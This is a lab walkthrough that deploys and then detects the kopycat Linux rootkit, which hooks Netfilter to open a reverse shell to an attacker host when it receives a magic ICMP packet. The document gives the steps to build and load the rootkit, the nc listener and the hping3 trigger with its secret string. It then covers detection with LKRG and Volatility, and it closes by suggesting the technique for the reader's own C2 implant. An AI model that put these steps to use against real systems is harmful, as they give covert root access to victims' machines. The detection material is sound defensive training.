[KS] Rootkits: Netfilter hooking #1

One of the features rootkits implement is a so-called “magic packet” functionality.  “Magic packet” is when an attacker implements some mechanism that can be triggered by a specially crafted network packet. The payload can be arbitrary, but usually, a shell is opened when the infected system receives the packet. The common way to implement this functionality is to use the Netfilter subsystem. Netfilter uses chains to store firewall rules. Every supported protocol (like IPv4, IPv6, or ARP) has 5 chains for different sections of packet processing. These chains are called :
  • PRE_ROUTING
  • INPUT
  • FORWARD
  • OUTPUT
  • POST_ROUTING

In this lab you are going to analyze kopycat - a rootkit that uses the Netfilter hooking technique for the C2 magic-packet feature.

1. In the first step acquire a memory of PRD_X by using the PurpleLabs VM Robot. Then get baseline results around netfilter subsystem by using Volatility:

# volatility -f /home/vadmin5/prdX-mem-1676395152.dmp --profile=Linuxprd55x64 linux_netfilter

2. Log in to PRD_X, clone the repo, and do a short source code review:

# git clone https://github.com/milabs/kopycat.git
# cd kopycat


3. There is a reverse shell command static definition in payload.c file. Change the SHCMD to point to your KALI_X IP address, then compile:

# vim payload.c
# make


4. Open 2nd console, log into VPS_X, and set up a simple listener:

# nc -vnlp 6666

5. Get back to PRD_X and load the module:

# lsmod | wc -l
65

# insmod kopycat.ko 
insmod: ERROR: could not insert module kopycat.ko: Inappropriate ioctl for device

# echo $?
1

# dmesg | grep -i youtube
[   91.873387] \m/ -- https://www.youtube.com/watch?v=fCIUPOkBsjg -- \m/

# lsmod | wc -l
65

6. So even if you got an error, and kopycat module is not on the list, still the rootkit structures have been correctly loaded into the memory.

7. Switch to KALI_X and send a specially crafted ICMP packet to the infected PRD_X:

# hping3 -c 1 -j -1 -e black-wives-are-fatter PRD_X_IP


8. Now you should have your new reverse shell connection established directly from PRD_X to VPS_X. Check the VPS_X console:

# nc -vnlp 6666
Listening on 0.0.0.0 6666
Connection received on 95.217.114.250 38026
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2# hostname
hostname
prd10

9. Analyze the process list:

# ps uaxww


10. Get access to Moloch - a full packet capture and try to locate ICMP packet that triggered the shell:

ip.protocol == icmp


11. Download PCAP to your desktop, locally run Wireshark and analyze the dump:


12. Use VM_PurpleLABS_Robot and dynamically acquire a memory image of PRD_X. You are going to use it in the upcoming steps.

ssh 10.7.0.1 -l vadminX


13. Drop your reverse shell and set up the listener again. Enable LKRG on PRD_X:

# cd /root/lkrg-0.9.5
# make
# insmod lkrg.ko kint_enforce=0
# dmesg | grep -i lkrg
[ 1333.620978] LKRG: ALIVE: Loading LKRG
[ 1333.620983] LKRG: ISSUE: System does not support SMEP, which won't be validated
[ 1333.620984] LKRG: ISSUE: System does not support SMAP, which won't be validated
[ 1334.003407] LKRG: ALIVE: LKRG initialized successfully

14. Send ICMP trigger from KALI_X. See the effect:

# dmesg | grep -i lkrg
[ 1458.531141] LKRG: ALERT: BLOCK: UMH: Executing program name /bin/sh

15. Detection and Block action by default. The UMH name is defined in payload.c:


16. Good news is that there is no reverse shell connection established this time! LKRG in the post-injected phase responded perfectly.

17. The last part of this chapter is about finding some hooking artifacts from the memory image you grabbed 5 minutes ago. Switch to KALI_X and run:

# volatility -f /home/vadmin5/prdX-mem-1676395152.dmp --profile=Linuxprd55x64 linux_netfilter
Proto Hook             Handler            Is Hooked
----- ---------------- ------------------ ---------
IPV4  PRE_ROUTING      0xffffffffc0532000 False    
IPV4  PRE_ROUTING      0xffffffffc0599010 False    
IPV4  PRE_ROUTING      0xffffffffc06ca380 False    
IPV4  PRE_ROUTING      0xffffffffc06cf090 False    
IPV4  LOCAL_IN         0xffffffffc03dd1f0 True     
IPV4  LOCAL_IN         0xffffffffc0742000 False    
IPV4  LOCAL_IN         0xffffffffc06cf000 False    
IPV4  LOCAL_IN         0xffffffffc06ca020 False    
IPV4  LOCAL_IN         0xffffffffc06ca280 False    
IPV4  FORWARD          0xffffffffa9310fb0 False    
IPV4  FORWARD          0xffffffffc0742000 False    
IPV4  LOCAL_OUT        0xffffffffc0599010 False    
IPV4  LOCAL_OUT        0xffffffffa930eba0 False    
IPV4  LOCAL_OUT        0xffffffffc06ca3e0 False    
IPV4  LOCAL_OUT        0xffffffffc06cf050 False    
IPV4  LOCAL_OUT        0xffffffffc0742000 False    
IPV4  POST_ROUTING     0xffffffffc06cf070 False    
IPV4  POST_ROUTING     0xffffffffa9310d60 False    
IPV4  POST_ROUTING     0xffffffffc06ca020 False    
IPV4  POST_ROUTING     0xffffffffc06ca280 False    
      PRE_ROUTING      0xffffffffc0533c10 False    
      FORWARD          0xffffffffc0532a90 False    
      FORWARD          0xffffffffc05326b0 False    
      POST_ROUTING     0xffffffffc0533750 False    
      PRE_ROUTING      0xffffffffc0532000 False    
      FORWARD          0xffffffffa9310f90 False    
      POST_ROUTING     0xffffffffa9310d40 False

18. Can you spot the "Is Hooked TRUE" value for LOCAL_IN? You catch a very interesting implementation of a Linux rootkit that is using Netfilter hooking. Check the code once again:

# cd /root/kopycat
# grep LOCAL_IN * -r
payload.c: .hooknum = NF_INET_LOCAL_IN,

19. Dig deeper.
20. The check_hidden_modules plugin does not give any interesting results this time. Check for dmesg: 

# volatility -f /home/vadmin5/prd10-mem-1676395152.dmp --profile=Linuxprd55x64 linux_dmesg
...
[101008176013.101] \m/ -- https://www.youtube.com/watch?v=fCIUPOkBsjg -- \m/

21. In general this is a very interesting technique. The netfilter layer sounds great for an early-stage port-knocking mechanism for your own C2 implant.


LINKS: